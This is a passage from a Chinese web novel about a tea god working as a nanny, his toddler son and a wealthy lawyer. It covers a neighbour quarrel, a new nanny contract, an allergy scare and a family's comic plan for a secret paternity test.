就是他从来没想过,跟贺少一起拍照。 贺任沅又给白清语和白小茶拍了照片,他拍照技术一般,只会连按几十次快门。 白清语掏出自己的手机,给茶宝拍个人照,奈何他的旧手机像素太差劲,茶宝都给拍糊了。 “用我的。”贺任沅把手机递给他。 贺任沅的手机一看就很贵,拿在手里的质感都不一样,白清语小心地举着,不小心点到相册,看见了三人合照。 茶宝眉眼弯弯,贺少风流倜傥,茶神……也站得很直。 白清语微微蹙眉,用这张脸拍照真是亏了,搞得茶宝更像贺任沅的儿子,这眼眉……果然,好看的人总有相同点。 三人往云谷方向走,去乘坐索道,上山的台阶多,小崽子半途趴贺任沅身上睡着了,给老板叔叔增加了稳定的负重。 白清语:“我来抱吧。” 贺任沅:“不用,你回去该腿疼了。” 缆车下山时小崽子醒了,贴在玻璃上看两岸飞驰的高山,一点也不恐高。 到站后,贺任沅道:“茶宝要不要再玩一次?” 这个时间段,无论上山还是下山,都不拥挤,有的缆车还放空。 白小茶摇头:“宝宝坐一次就够了。” 贺任沅果断道:“叔叔想再坐一次,茶宝是免费的,你陪叔叔好不好?” 白小茶眼睛一亮:“免费的噢。” 白清语当机立断:“你们去,我晕车。” 来回要一百六,他才不坐,他在神境里还会飞呢。 这一趟缆车中途起了一点风,车厢在半空中刺激地摇晃,从缆车出来时,茶宝还兴奋地紧紧搂住老板叔叔的脖子。 贺任沅心想这一趟坐得值,趁热打铁道:“茶宝,以后叫我舅舅行不行?” 白小茶困惑道:“舅舅是什么?” 贺任沅:“舅舅是——”是你妈妈的哥哥或者弟弟。 贺任沅意识到不好解释,管家说白清语是单亲爸爸,贸然提到母亲这一角色不大适合,遂放弃:“还是叫叔叔吧。” * 这一趟旅程还算圆满,白清语在动车上偷偷闻了白小茶的头发,经过一场黄山春雨的洗礼,有点像黄山毛峰了。 白小茶身体长得慢,头发长得不慢,过几天就能剪短一茬了。 贺任沅的司机到南城站接站,上车后,贺任沅用理所当然的语气道:“回家。” 白小茶聪明地说:“司机叔叔,江爷爷家在——” 他流利地报出地址,两天不见母鸡,有点想念噢。 贺任沅:“……”刚才培养的叔侄情分呢? 江家老小区。 茶宝出门旅游第二天,许丽娉,也就是江教授的母亲,亲自从鸡窝里捡出一枚鸡蛋,拍掉上面的草屑,攒了四个了,留给茶宝明天当早餐。 她和丈夫不爱吃水煮蛋,以往母鸡下的蛋,大多都送给邻居,她喂鸡用的是天然好谷物,鸡蛋比超市里买的香,适合小孩子吃。 她捡完鸡蛋出来,看见隔壁栋的王婶出来遛狗,寒暄道:“吃饭了没。” “吃了。”王婶觑着她手里的鸡蛋,明知故问,“最近母鸡是不是不下蛋了?我孙子好几天没吃上你家鸡下的蛋了,闹着要吃江奶奶家的鸡蛋呢。” 许丽娉愧疚地笑了笑,“那真是不好意思了,最近我表侄子带孩子住我这里,孩子也喜欢吃鸡蛋,下次我让小礼再添加一只母鸡。” 王婶子见许丽娉并没有把手里的鸡蛋给她的意思,心里顿时不舒服了起来,谁不知道江家新来的青年就是个保姆啊,说什么表侄子,鸡蛋给保姆的儿子吃,也不给十几年的老邻居孙子? 她囔囔开道:“别添加了,要不是我吃人嘴软,我早就受不了你这鸡窝了。” 许丽娉笑了一下,她都不想说王家的狗到处乱拉乱尿有多臭:“是么,你以前吃鸡蛋的时候确实没这么说过。” 王婶:“你什么意思啊,你以为我就图你这些鸡蛋?” 许丽娉:“我没有这么说,你遛狗去吧,狗都急了。” 王婶:“你说谁狗呢,亏我孙子每次可怜你,叫你一声江奶奶,白叫你这么多年。” 许丽娉:“你可怜谁?” 王婶:“可怜你没有孙子,你儿子是同性恋生不出孙子给你抱!你攒鸡蛋给谁吃呢?没文化的保姆的孩子你当孙子认?” 许丽娉脸色一变:“总比你老赖儿子好。” 王婶先说了别人儿子,却最容不得别人说她儿子不好:“起码我儿子没病,你儿子有病!恶心!” 啪! 许丽娉没忍住,上前打了她一巴掌,眼眶通红,气得发抖:“轮不到你说!” 王婶顿时哭嚎着坐在地上,手里还牵着狗绳上下乱舞:“教授妈妈打人啦!上梁不正下梁歪!难怪你教书一辈子,教出个同性恋儿子……” 此时正是饭后散步的时候,老小区老人多,不一会儿就聚了圈人。 王婶坐在地上咒骂,她的狗变成壮胆的武器,一会儿抱一会儿推。 许丽娉僵硬地站着,嘴唇成一条线。江父闻声出来拍着她的后背,有些嘴笨地哄。 贺任沅送白清语父子俩回家,正巧看见这一幕。 他还没反应过来,白清语就带着白小茶挤进去了。 白清语个子比周围的老人高一截,白小茶被他抱着,居高临下,一下子就能看清场面。 白清语还没弄清怎么回事,就看见了许丽娉的眼泪,忙一手抱着崽子,一手从兜里掏纸巾。 吵架内容多少涉及到白清语这个保姆,见白清语来了,人群一时安静。 而白小茶,看见场地中央的王奶奶和狗,对于表演者+动物这个场景十分警惕,上次那个叔叔的鹦鹉叼走了他一百块钱。 他揣着手,忧心忡忡地大声问:“奶奶,你是免费表演的吗!” 他口齿清晰,声音又响又奶,在突然安静的时刻中如同惊雷。 白清语:“……”宝宝,你是会拱火的。 周围人安静了一秒,随后爆发出笑声。 “行了行了王婶,全小区就数你家狗拉屎最臭还不清理,大家十几年老邻居了,互相忍忍也不没说你啥。” “起来吧,让小孩子当猴戏看了。” 王婶子脸色青红交错,被一个孩子当众指出表演成分,面子上都挂不住,骂骂咧咧地摔了狗绳,站起来叉着腰骂天骂地。狗让她折腾一番,一放开就灰溜溜钻回家里去了。 许丽娉擦了眼泪,冷笑道:“不是免费的,她讹鸡蛋呢。” 茶宝紧张道:“宝宝没有鸡蛋!” 不知是谁报了警,两名民警过来了解情况。 白清语揪了揪贺任沅的袖子:“大律师,你能不能帮帮许阿姨!” 贺任沅没说这种纠纷根本用不上律师,道:“行,你先带茶宝进去。” 晚些时候,许丽娉红着眼睛回来,身后跟着的除了贺任沅,居然还有徐诏。 她似乎是想开了,对白清语道:“以后我可能不养鸡了,搬到我儿子那去住。” 她以为养鸡和接不接受儿子是同性恋是她自己的家务事,没料到以为亲近的邻居竟然背后这么想他们。 那她儿子每次帮她扫鸡舍的时候,还不知道有没有听过难听的话! 贺任沅挑了下眉:还有意外收获? 他看出许丽娉还有犹豫,顿时一副好人做到底的样子,道:“我家有鸡舍,可以收留三只母鸡。” 江家不养鸡,谁家的保姆岗位更有竞争力,从此分明。 ———————— 国庆快乐啊宝宝! 第24章 白清语看清形势:江家二老都是身体健康的退休老人,如果跟儿子同住,没有鸡舍要打理,其实不需要花高价请保姆。 他拿这么高的工资也很心虚,毕竟他跳槽之前的工资也才五千。 白清语主动提出辞职:“江阿姨,最近小茶爷爷想他了,打电话让我带小茶回老家,正好您搬到江教授那里,我这边就打算辞职了。” 贺任沅听着这番辞职的说辞,十分耳熟,上次白清语从他那跳槽是不是也编得有模有样的? 听这意思,是要回老家。 贺任沅心里想好了绑架保姆的方式,但顾忌外人在场,暂不吭声。 许丽娉纯粹是不想他儿子每次过来被人嚼舌根,她犯了个错误,如果自己都不接受江礼帛和徐诏的感情,别人更是踩着她攻击她儿子。这是要面子的她所不能接受的。 但是她没想过辞退白清语! 许丽娉道:“你和茶宝跟我一起搬,你是不是担心地方不够住?够的,三房两厅正好,江礼帛三天两头去徐诏那里住,空间大得很。” 徐诏摸了摸鼻子,凑到许丽娉耳边,把江教授跟他分析的豪门八卦一说,“阿姨,贺律师是茶宝亲舅舅,要接他回豪门当继承人,您要是想念,我就经常带你上门拜访。” 江礼帛在海外出差,被好心邻居告知妈妈跟王婶子吵架,焦急万分,连忙让徐诏去帮忙。徐诏做好了被许丽娉无视的准备,谁知这回许丽娉一看见他,就对王婶子说:“我俩儿子都比你那老赖儿子好。” 许丽娉在气头上,徐诏也没厚着脸皮趁机改口叫妈,得等江教授回来安排一个正式的见面。 许丽娉闻言惊讶地看了贺任沅和茶宝一眼,她之前没顾得上细想,这一看还真有几分外甥肖舅。 贺律师方才在警察面前对自己的维护和专业,原来都是看在白清语的面子上。 舅舅要带外甥回去享福,她一老太婆挡在中间算什么,便答应了,道:“今天多亏你和茶宝帮忙,我让江礼帛给你结算整月的工资。” 白清语之前向江教授预支工资,后来没用上那一万五,退回去江教授也没收,想来之后也不会收了。 “可是我才上班两天。”白清语突然想到,像他这样每一户都干不久,频繁跳槽的保姆,在保姆界的评分应该很低吧。 下一户,下一户一定好好干,至少干满三个月。 许丽娉道:“是我们雇主家的工作条件发生变化,你被动离职,补偿一个月工资是应该的,是不是,贺律师?” 贺任沅:“嗯。” 许丽娉紧接着道:“小礼是不是给你开一万五,我现在转给你。” 白清语:“江教授已经提前发了。” 贺任沅游刃有余的站姿发生变化。 什么,江家开一万五? 他才开五千,根本没有一点竞争力!难怪白清语走得那么干脆! “这么晚了,茶宝都睡下了,你刚旅游回来也累了,有什么事明天再说。”许丽娉催促大家睡觉,“贺律师,今天非常感谢你,改天请你吃饭。” “不用客气,您不是还送了我三只母鸡么。”贺任沅再次提起,迟则生变,他今晚带不走白清语,但母鸡一定要带走。 许丽娉找了个大箱子,打开鸡屋,把三只睡着的母鸡打包,“谢谢贺律师收留了。” 徐诏帮忙把一麻袋谷物抬上贺任沅的后备箱,他算是看出来了,贺任沅哪里是缺鸡蛋吃,是给茶宝打包玩具回去。 真疼爱外甥啊。 白清语恋恋不舍地看着昔日母鸡同事上了豪车,幸好白小茶睡着了,不然八成要问“老板叔叔,母鸡是免费坐车的吗?” 贺任沅说是,再来一句“宝宝也可以免费乘车”,白小茶就屁颠屁颠地爬上去了。 贺家可是狼窝,贺任沅是最精明的狼王,白小兔进去几天就能露馅。 * 翌日一大早,江家小区外面,就停了两辆难得一见的豪车。 贺任沅问了齐叔白清语的作息,得知他习惯早睡早起,天不亮就等候在小区外面。 这一次,他拿出百分之两百的耐心,面对白清语,一百分的耐心迟早告罄。 通宵的路灯渐渐隐没在黎明的光辉中,贺任沅捏了捏自己的大腿肌肉。昨日爬黄山,上爬路段都是他抱着茶宝,饶是很好的体力,一天下来积累的酸胀经过一晚上发酵,开始显现出些微酸痛来。 这点酸痛不碍事,但是白清语的后遗症一定比他严重,今天把他接回去后好好休息。 家庭医生开了缓解酸痛的膏药,贺任沅拿了一副揣进口袋里,开门下车。 江父早上一开门,就看见门口站着一个玉树临风的青年,西装三件套,眉眼笼在晨光中深邃俊美。 他愣了一下:“贺律师?” 贺任沅:“这么早打扰了,我是来接白清语的。” 江父也知道了贺任沅的身份,但是人家还没正式公开关系,便装作不知:“快进来,你吃早饭了,我去买包子。” 贺任沅:“还没,劳烦带一份。” 江父:“好,你进去坐着。” 贺任沅从善如流地进去,找到白清语住的房间,敲门:“白清语,是我。” 白清语正在给茶宝穿衣服,父子俩一同朝门口看去。 贺任沅这时候来干嘛? 他给白小茶系好扣子,下床去开门:“少爷你有东西落在我包里了吗?” 贺任沅:“嗯。” 白清语便放他进来。 贺任沅拿出一份合同,“我想聘请你当我家的鸡舍管理员。” “昨晚我把三只母鸡带回家,今早不知怎么回事,管家喂它什么都不吃,刘姐喂也不吃,可能是换了新环境新主人不太适应。” 贺任沅痛惜地说:“茶宝好歹吃过它几个蛋,看着它们不吃不喝我很痛心。” 白小茶第一个上当:“爸爸,快救救母鸡!” 根本不是兽医的白清语,也没意识到不不对劲,更听不出贺任沅暗暗的道德绑架,忧心道:“这么严重?早上三只鸡一口都没吃?” 贺任沅点头,因为还没喂。 白清语着急了:“我去看看。” 贺任沅把合同递出去:“不能白用你的劳动力,先把合同签了。” 白清语拿起合同,眼睛睁大了一下:“月薪三万?会不会太多了?” 贺任沅:“跳槽就得绑定涨薪,你去网上搜一下,南城的金牌保姆价格就是三万。” 白清语将信将疑地上网一搜,发现贺任沅一句话都没骗他。 他混上金牌保姆了? 他是神仙,比人类更高更强更快,获得金牌很合理。 奥运金牌不就比这些吗?他在贺任沅心里是最厉害的保姆吗? 贺任沅:“签吧,母鸡在等着。” 白小茶催促:“爸爸,快点。” 白清语头脑一热,在合同上签了自己的名字,等反应过来自己又去贺家,贺任沅已经把合同收起来了。好吧,反正被发现还能跑路。 贺任沅:“我帮你收拾。” 白清语行李总共就那些,贺任沅闭着眼睛都知道哪些是雇主提供的,哪些是白清语自带的。 一个绿色垃圾桶装满。 “吃包子咯!热气腾腾的包子!”江父买了一大袋包子回来,在客厅里呼唤。 白小茶跑出去:“爷爷,我来了。” 五个人围坐在餐桌上一起吃饭,贺任沅摸了摸花生浆,不太烫,插了吸管给白小茶喝。 电视上放着早间新闻,小小的套房里充满温馨的气息。 贺任沅心里微微被触动,萌生了把白小茶和白清语带回贺家给二老看看的想法。 他与江家素不相识,都能坐在一起吃早饭,可见只要投缘,就能相处成一家人。 “有我的份吗?”徐诏也赶早过来,自来熟地拉了一张椅子坐下,问白清语是不是要去贺家。 “江教授让我一定送你。” 徐诏跟贺任沅确认:“贺伯伯知道茶宝吗?” 贺任沅点头,他准备要让爸爸见一见茶宝了,他父母一定会喜欢的。 吃完早饭,茶宝挨个跟爷爷奶奶道别,然后上了徐诏叔叔的车。 贺任沅的车运垃圾桶。 贺任沅:“……”垃圾桶怎么了,多能装。 徐诏风风光光地将白清语和白小茶送到贺家,临下车前拿出一个红包:“江教授给茶宝包的。” 白清语:“为什么?” 徐诏:“他说过,如果茶宝能让二老不再想着抱孙子,就给茶宝开五千工资。” 白清语:“红包可以换成你车上的香水吗?” 徐诏指着车载绿茶香薰:“这个?” 白清语:“嗯。”这是他目前闻过的最好闻的人工绿茶味,以后被贺任沅怀疑了就说是香水味。 徐诏把香水和红包一起塞过来:“香水送你,红包送茶宝。” 管家齐云站在门口翘首以盼,看见有车停下,疾步过去,发现下车的竟是徐家的小少爷。 徐诏下车,清清嗓子,道:“清语和茶宝是我的救命恩人,以后他的事就是我的事,管家先生,若是有人欺负他麻烦你告诉我一声。” 管家:“放心,贺家没有人会欺负清语。” “那就好。”徐诏装完逼,“那我先走了,待会儿还有课。” 白清语被他一提醒,想起白小茶也有课,今天周五,再不上课又要放假了。 贺任沅运着垃圾桶后一步到,“你去休息,我上班顺路送茶宝上学。” 白清语:“我不累。” 贺任沅皱眉:“不要强撑,爬完山哪有不累的。” 白清语一愣,他应该累吗?体力超常也会被怀疑,不如假装一下。 “好吧,那我去看看母鸡。” 白清语迫不及待跟着管家去关切生病的母鸡。 管家操心道:“今早我喂什么都不吃,你快试试看。” 贺家的鸡舍大了五倍不止,有鸡屋有篱笆,三只母鸡一看见白清语就咯咯叫着跑过来。 白清语抓了一把米撒下去,母鸡争先恐后低头去啄,嘟嘟嘟像打桩机一样。 管家眼里适时流露出惊喜:“还得是你啊清语,一喂它们就吃,就连少爷都拿它们没办法,家里缺不了你。” 白清语翘了翘嘴角:“是么,少爷他太凶了母鸡也害怕。” * 贺任沅要送白小茶上学,便没有自己开车,与白小茶一起坐到了后座,一边打开故事朗读,一边给贺望重发消息。 [贺任沅]:我认了一个亲外甥。 [贺望重]:儿啊,听说你在外面给人当舅舅?我没听说我有女儿啊。 贺望重的消息同时进来,贺任沅疑惑,消息这么灵通? [贺任沅]:到时候带给您看看您就明白了,请您提前按照亲孙子待遇处置。 [贺望重]:行吧,徐老刚才过来恭喜我,还送了一盒贵重贺礼,我听得一头雾水。 [贺任沅]:原来如此,替我感谢徐家。 [贺望重]:自然。 儿子做事自然有他的道理,说不定跟商业上的事有关。 贺望重揣着糊涂装明白,收下邻居的贺礼:“老徐你太客气了,几十年的交情还带什么礼物。” 徐元是被小儿子委任过来的,也是发自内心祝贺老友:“你不是一直想抱孙子嘛,外孙也是亲孙,要珍惜,我这都还没抱上呢。听说那孩子都快两岁了,补个周岁礼。” 贺望重爽朗道:“下次阿沅带回来的时候,大家一起吃个饭。” 徐元:“必须的,听徐诏说一看就是你老贺的孙子,长得极乖巧。” 贺望重没把这句话放在心上,毕竟一听就是客套话:“那是,我孙子当然乖巧。” 送走徐元,贺望重掏出手机,正想细问,贺任沅的管家给他发来一条情报。 [齐云]:董事长,少爷最近心情转好,胃口不差,您可以继续制作美食了。 [贺望重]:OK。 前两天贺任沅心情差到吃不下饭,今天就转好了,看来这个小娃娃就是关键。 是因为这个小崽子促成了什么大合同吗? 总之,他又可以大展身手了。 “把太太收藏的燕窝拿出来!” * 下午,白清语刚要出发去接白小茶,就接到贺任沅的电话。 “我今天早下班,顺路去接。” “哦,谢谢少爷。” 路上堵了一会儿车,贺任沅到家正好四点。 管家接过茶宝的书包,“茶宝饿不饿?” 茶宝:“宝宝不饿,爷爷。” 今天幼儿园良心发现,改善了伙食,临近放学还发送了一餐。 茶宝现在一天在幼儿园吃三顿,每一顿都很努力。 贺任沅牵着茶宝进屋,替他复述今天吃过的饭。 经过哑巴姐妹和姜萌萌时,注意到了她们崇拜的目光。 怎么? 贺任沅以前只会从这三姐妹眼里看见敬畏,是因为他不费吹灰之力接回了茶宝吗? 不得不说,很受用。 管家端上一碗水果燕窝:“这是董事长送来的。” 分量很足,少爷也可以吃。 贺任沅:“白清语呢?” 管家:“在喂鸡。” 贺任沅:“叫他一起来吃。” 贺任沅拿出三个小碗分盛,燕窝里加了牛奶、草莓、木瓜,看混合程度就是白小茶喜欢吃的。 “都是甜的和甜的,混合搭配好吃。” “甜的和甜的!”白小茶握着勺子,等爸爸一来就开动。 * 吃完燕窝,白清语带着白小茶看鸡窝,不止有三只母鸡,还有一对芦丁鸡。 白小茶蹲着喂小米,不知疲倦地玩了半小时,突然喊道:“爸爸,宝宝痒。” 白清语看见他挠胳膊,忙快步过去:“有虫子咬你了?” 他卷起白小茶的袖子,看见一片红色的疹子,左右手都有,分布不均,没有固定轨迹,明显不是虫子咬的。 怎么回事?! 白清语顾不上追究原因,直接将手掌覆在白小茶起红疹的胳膊上,神力倾泄而出,潜进皮肤,不一会儿,红疹消失,茶宝的胳膊又变回了白白嫩嫩。 “谢谢爸爸!” “没事。”白清语闭上眼睛缓了下,又恢复如初。 “爸爸分析一下原因,你刚才碰到什么了?” 白小茶:“没有噢爸爸。” 白清语抱着白小茶往屋里走,先远离鸡舍,恰好看见管家领着一个医生往楼上走。 “怎么了?” 管家停住脚步:“少爷过敏了,身上起风团。” 白小茶毫无隐私概念地分享:“宝宝也有噢!” 管家一愣,“怎么,茶宝也有!医生初步判断是燕窝过敏,医生,先给茶宝看看,小孩子要紧。” “原来是过敏啊。”白清语喃喃,茶神可不对任何东西过敏,白小茶人类食物吃多了,自身的神力还没蕴育出来,有过敏的可能性。 “没事,茶宝就起了一点点疹子,已经消下去了,先给少爷看。” 白小茶撸起袖子,给管家爷爷展示:“宝宝没有了噢!” 管家看见胳膊上微不足道的抓痕,松一口气,对医生道:“少爷在书房,你快上去吧。” 白清语:“少爷严重吗?” 管家:“还好,就手、脸、脖子严重一些,除了痒没别的不舒服。” 白清语听闻担忧地蹙眉,“我去看看。” 管家尴尬地拦住:“少爷说他想安静一会儿。” 估计是怕过敏损了自己英俊的相貌。 白清语看了眼手里的茶宝,那行,他先把茶宝哄睡了再去看,免得茶宝又在贺任沅面前说“爸爸摸一下就不痒了”。 白清语抱着孩子上三楼。 管家看着父子俩的背影,隐约觉得哪里过于巧合。 三个人吃燕窝,两个人过敏。 过敏的一大一小却不是父子,这合理吗?! 这俩过敏的还长得像。 管家心里有一个大猜测,但他作为管家,可不好擅自做主,得找一个帮手。 他灵机一动,把茶宝的照片发给董事长,既然少爷已经计划全家相见,提前认认照片也没什么。 [董事长,这是少爷认回来的外甥。] 第25章 管家非常心机地发送了一张父子俩在黄山的合照——贺任沅交了一批照片给他让他制作精美相框。 贺任沅平时对外的形象太严肃冷漠,乍一看到憨态可掬的茶宝很难跟他联系在一起。 “哈哈哈这么软萌的宝宝,从照片就能看出是个聪明宝贝。”贺望重一颗被逆子伤透的心脏扑棱起来,他开怀大笑,再看一眼,笑容戛然而止。 不是,贺任沅的亲外甥怎么这么像他亲外孙??? 肯定不是他眼花,老徐白天还说过呢!他竟然没有听出话外之音! “老婆老婆!”贺望重把舒枚的面膜揭下来,挂在手上,“你快看。” 舒枚瞪他一眼:“我敷面膜也能看!” “我怕你看不清楚!” 舒枚垂眸,看向他的手机,不由张大嘴巴,要论谁对贺任沅小时候印象最深,那……咳,可能是他姑贺映,但要真说要婴儿期的贺任沅,那她的儿子她还能不清楚吗! 她连忙伸手按了按面膜,生怕面膜都吓掉了,一抬手才想起贺望重已经帮她撕了。 “这是?” “你儿子在外面认的亲外甥?” “啊?” 贺望重:“可是真像我孙子啊,咱俩不会走丢过一个女儿吧?” “我生没生我能不知道?”舒枚看着照片上的父子,她居然能在贺任沅身上看见父爱??? 贺望重:“你儿子让我按照亲孙子待遇处置,还说等我看到了宝宝就知道了。” 舒枚:“那暗示很明显了!” 贺望重一拍大腿,“好你个贺任沅,有了私生子竟然还敢栽赃给你不存在的姐妹!” 舒枚:“你的意思是他从外面抱回来一个孩子,不敢说是自己的,就说是外甥?” 贺望重:“你想啊,他是独子,他的外甥或儿子,不都是咱家的唯一孙子,在继承权上没什么问题。既要认儿子,又要名声。” “你说他前两天愁眉不展,不会是在争抚养权吧?” 这就有点道德滑坡了,一个律师,抢自己孩子的抚养权,人家哪里斗得过。 看看这孩子,养得多好,贺任沅那狗脾气可养不出这么软萌的孩子。 舒枚盯着孩子的照片:“那怎么办?” 贺望重深沉道:“先按兵不动,我做个亲子鉴定,然后甩在他脸上!看他怎么狡辩!” 舒枚握手:“真是的,贺任沅搞袭击,奶奶都还没有准备见面礼。” 贺望重当场给管家打电话:“我孙子是不是就在家里住着?” 管家:“是的。” 贺望重:“你明天找机会弄个亲子鉴定的样本。” 管家:“好。” 贺望重嘴角一咧:“我孙子喜欢吃什么?” 管家也笑道:“什么都吃,非常爱吃饭,除了燕窝,少爷和小少爷都过敏。” 贺望重想到今天自己做的燕窝,瞬间起了冷汗:“过敏?没事吧?” 管家:“小少爷没事了,少爷还没消。” 舒枚:“请医生看了吗?” 管家:“请了请了,医生说问题不大,吃了药过几小时就退了。” 舒枚狠狠拧了一下贺望重的胳膊:“我说我燕窝少了那么多,你拿去祸害我儿子和我孙子!” 贺望重疼得一激灵:“不敢了。我肯定对燕窝也过敏,祖传的。我孙子会叫爷爷吗?” 管家嘴角一扬:“会。”我替您早享受半个月了。 贺望重开始琢磨明天给孙子做点什么吃的。 舒枚打电话吩咐家政,把家里的燕窝全都找出来打包,她要送给姐妹,以后家里不能再出现燕窝。 * 白清语把茶宝哄睡只用了十分钟。 他等了等,悄悄从楼梯潜到二楼,在书房门口看了看,没发现贺任沅。 二楼的房间,哪一间是贺任沅的? 管家好像说过,他和贺任沅的房间呈对角线,白清语看向对面的一扇门,走过去按下门把手。 昏昏暗的光线中,房间内一张低矮的大床,贺任沅仰躺着,被子一角搭在腰腹。 抱孩子爬了一天山,很晚回家,早上天不亮就去接人,上了一天班,接送孩子上下学,回家吃顿饭还过敏了。 但总算把白清语和白小茶接回家里,贺任沅心情放松,吃了药就睡着了。 白清语看清贺任沅露在外面的胳膊上还有大片的风团,跟白小茶一样,胳膊反应最剧烈,不一样的是,贺任沅能忍,从不抓挠。 他目光扫过脸上,只有下巴靠近脖子的地方还有红疹。 怪可怜的。白清语看着躺着不动的贺任沅,心中莫名涌起很复杂的情绪,人类就是脆弱,连坏脾气的少爷都被一个小小的过敏原干倒了。 睡梦中,贺任沅无意识想挠胳膊,白清语想也不想伸手扣住他的手掌,压在了床单上。 他收紧手掌,神力从指缝中溜出去,微微缓解贺任沅的不适。 贺任沅帮助他那么多,自己回馈一点也没什么吧? 贺任沅梦见自己在一汪清澈见底的天然水池里教白清语游泳。 白清语明明看着挺无惧无畏,完全是旱鸭子,好像从小就长在陆地上,下水了胡乱扑腾,紧紧抓住自己的胳膊当浮板,练了三天都没松开手。 明明是毫无杂质的水,却生了很多水草,缠绕在两人中间,又长又滑,挥开了又缠回来,增加了游泳的难度。 这样的笨学生,贺任沅竟然好脾气地教了又教,也不完全笨,至少很会闭气,扑腾好几天一口水都没呛到,像一条不会游泳也不会淹死的美人鱼。 突然,眼前的白清语身形一晃化成泡沫,贺任沅伸手一抓,心慌地从梦境中醒来,心脏扑扑直跳。 贺任沅闭了闭眼,这是什么稀奇的梦,是因为他白日里刚跟白小茶一起听过童话故事,就梦见了美人鱼? 他攥住手掌,掌心却意外的有实感。 贺任沅转头看去,只见白清语坐在地上,握着自己的手,趴在床边睡着。 他攥手的动静惊醒了对方。 白清语抬起头,打了个呵欠:“你醒了。” 今天使用了两次神力治疗,饶是茶神也撑不住犯困,需要充足的睡眠来恢复。 他见贺任沅盯着两人交扣在一起的手,“哦”了一声,很自然地松开,说:“管家说你过敏,我来帮忙按住你的手,免得你睡觉时把自己脸抓花了。” 贺任沅顿时想起自己微瑕的容貌,有些想捂又觉得有损威严,怔愣着不动。 “放心,已经全部消下去了,脸上没有印子。”白清语贴心道。 贺任沅咬牙道:“我才没有在乎。” 白清语疑惑地眨了眨眼:“不在乎吗?可是脸很重要。” 反正茶神不会握着一个脸上都是脓疮的人的手睡觉。 贺任沅看着白清语的脸,有些僵硬地说:“不重要。” 白清语:“好吧,你恢复了,那我回去睡觉了。” 说完,他起身就往门口走。 贺任沅坐起来,张了张口,最后道:“谢谢。” 白清语笑眯眯道:“不客气。” “等等。”贺任沅道,“你、你会游泳吗?” “游泳?”白清语眯起眼睛,逐一审视自己身为茶神的技能,惊喜地发现,自己虽然从不下水,但会游泳欸! “会啊,游得很好呢,有事吗?” “谁教你的?” “还用教吗?农村的孩子自己在溪水里扑腾就能学会狗刨了。”白清语自信地说。 贺任沅深吸一口气,居然被无厘头的梦境影响了,道:“四楼的泳池,你可以使用。” 泳池对于洁癖患者来说,是非常私人的东西,四楼的泳池没有第二个人游过。 白清语:“谢谢少爷,有时间我会去的。” 他反手把贺任沅的房门关上,脸上的倦意就藏不住了,飞快地回到三楼自己屋里,把白小茶往床里推一点,在旁边一趟就睡着。 睡着前,他隐隐约约地想起一件事:神力进入凡人的躯体,应该是有阻碍的,但是他给贺任沅传输时就很顺畅,没什么损耗,对方的经脉很熟练地吸收。 贺少爷真是天生好命! 植物的节律很准,白小茶每天在固定时间和爸爸一起醒来。 不过,今天茶宝醒来的时候,爸爸还在睡觉。 “爸爸,你晚上去喂母鸡了么?”茶宝坐在爸爸旁边,关切地问。 “去喂少爷了。”白清语低声喃喃,他把茶宝揽进怀里揉了揉,“爸爸想再睡一会儿,你自己出门找管家爷爷吃早饭好不好。” “好噢爸爸。” 白清语起来把房门打开,窗帘拉开,让阳光照射进来。 轮到大茶神晒太阳了。 晒太阳太舒服了,白小茶忍不住躺倒在爸爸身边,跟爸爸一起晒太阳。 白清语感觉到了,闭着眼睛摸了摸他的脑袋。 晒了半小时,白小茶饿了,正要下去找管家爷爷,突然想起什么,噢,要刷牙。 他吭哧搬着小塑料凳到卫生间,踩上去,伸手抓住牙刷,杯子被他碰掉了,咕噜掉在洗手池里。 白小茶握着勺子一样握着牙刷,坐在凳子上,有模有样地用力刷起来。 既不簌口,也没有挤牙膏,干巴巴一根牙刷。 管家见白清语迟迟没带小茶下来干饭,担心地上来看,房门开着,白清语在睡觉,白小茶在刷牙。 “哎哟茶宝,可不能这么干刷,牙龈疼不疼啊。”管家心疼地拿走他的牙刷,小崽子连刷头的方向都没拿对,牙齿没刷到,对着口腔内壁刷。 “爷爷,不疼。”白小茶刷好了,摸了摸肚子,“宝宝可以吃饭了吗?” “可以可以,走,爷爷带你下去。” 贺任沅也从楼下上来,径直走到床边,弯腰查看:“白清语?” 白小茶道:“爸爸困。” 贺任沅叹了口气,他还以为白清语真是铁打的身子,原来是爬山反应比别人慢,“你好好休息,待会儿我让刘姐送饭上来,茶宝上下学我会接。” 白清语睁开眼睛看了一眼神清气爽的贺任沅:“好。” 贺任沅给他拉上了窗帘。 白小茶哒哒跑过去,拉开了窗帘:“爸爸要晒太阳噢。” 贺任沅抱起小崽子:“那我们下去吃饭。” 管家看着贺任沅抱着小崽子的背影,眼神欣慰,很好,越来越有爸爸的样子了。 他刚想把牙刷放回去,突然想起白小茶的刷牙姿势——这得刷掉多少口腔上皮细胞。 借一根牙刷不过分吧? 管家立刻把牙刷一打包,让人送到贺望重指定的机构去检测。 少爷的样本一早就存着,不用他费心。 他对结果抱有七成的把握。 他怀疑贺任沅和白清语的身份颠倒了,舅舅是爸爸,爸爸是舅舅。 少爷不想破坏白清语和白小茶的父子关系,伤害到茶宝,所以决定只当个舅舅,反正对贺家来说,没有内孙外孙之分。 * 贺任沅接白小茶放学回来,刚打开车门,白小茶就嗅了嗅鼻子,道:“老板叔叔,今天家里有好吃的!” 贺任沅拎着他的书包,把他抱下来::是吗,进去看看。” 一进门,贺任沅也有些震撼,他爸给他整了一个满汉全席吗? 管家:“少爷,这是董事长送来的。” 他对着茶宝补充了一句:“茶宝,这是贺爷爷送的。” 茶宝:“贺爷爷是——” 贺任沅:“是叔叔的爸爸。” 茶宝:“噢,是老板爷爷。” 贺任沅看着这桌饭,满汉全席不是重点,重点是色香味俱全。 如果说以往给他送的吃食,贺望重的厨艺参与度是50%,那么这一桌的参与度不大于30%。一时让人分不清哪一种父爱更深沉一些。 不过,他爸知道茶宝的存在后,有这份独到的表示,他很满意。 贺任沅环顾一圈,还没开口,管家就回答了:“白清语今天一直在补觉。” “我上去看看。” “宝宝也要看看。” 白清语睡了一天,太阳在东边,他在东边的屋子睡,太阳在西边,他去西边的屋子睡。 贺任沅抱着茶宝上楼,他抬脚往东边卧室去,茶宝迈着小短腿往西边去,“爸爸。” “嗯?”贺任沅犹豫一秒,选择跟着茶宝走。 西边的客房,窗帘大开,白清语躺在地上。 贺任沅心一下子提起来,就见白小茶跑过去抱住爸爸,白清语瞬间就醒来回抱住儿子。 “茶宝。” 贺任沅被吓了一跳,脸色变差:“为什么躺在地上?” 白清语:“本来想来看看风景,困了就直接睡了。” 贺任沅:“下去吃饭。” 